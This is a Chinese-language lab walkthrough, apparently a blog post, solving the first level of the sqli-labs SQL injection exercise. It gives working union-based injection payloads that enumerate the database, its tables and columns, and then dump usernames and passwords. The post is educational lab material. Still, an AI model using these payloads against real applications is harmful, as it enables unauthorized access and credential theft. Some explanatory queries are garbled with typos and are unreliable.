首先我们需要了解什么是数据库注入以及其原理,我会在后面的文章中更新内容
下面进去sql-less的第一关 字符型注入漏洞
进入页面之后就是这个页面在?id=1后面加上单引号来判断是否存在注入漏洞
但是其页面返回错误那么加上一个注释符–+返回以下页面
可以看到加上注释符后页面返回正常那么接下来我们使用 roder by *来判断该注入漏洞存在字段数
可以看到在测试order by 3返回正常但是在测试order by4返回错误那么由此判断存在3个字段数,接下来我们使用以下代码查询数据库库名
?id=-1' union select 1,2,database()
可以看一下数据库的执行语句//方便理解,记录一下这里为什么要用-1,这是因为union select 的结果代码只返回第一条结果,所以union select 获取的结果没有输出到页面,可以通过设置参数ID只让服务端返回nuion select的结果。如:把ID设置为-1这样数据库中没有id=-1得到数据,则会返回nuion select 的结果
select union from * users where id =1 union selct 1,2,database()
获得了数据库库名security,接下来获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
这条语句我是这样理解的,利用函数group_concat查询table_name从 information_schema数据库的下一级tables查询条件为table_schema里查询’security’
获取到表名显然users价值要大的多,那么接下来查询该表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
得知表名字段名那么就可以获取数据了首先获取账户
?id=-1' union select 1,2,group_concat(username) from security.users--+
获取密码
?id=-1' union select 1,2,group_concat(password) from security.users--+
通关,第二关和第一关一样只是一个是字符型注入一个是整数型注入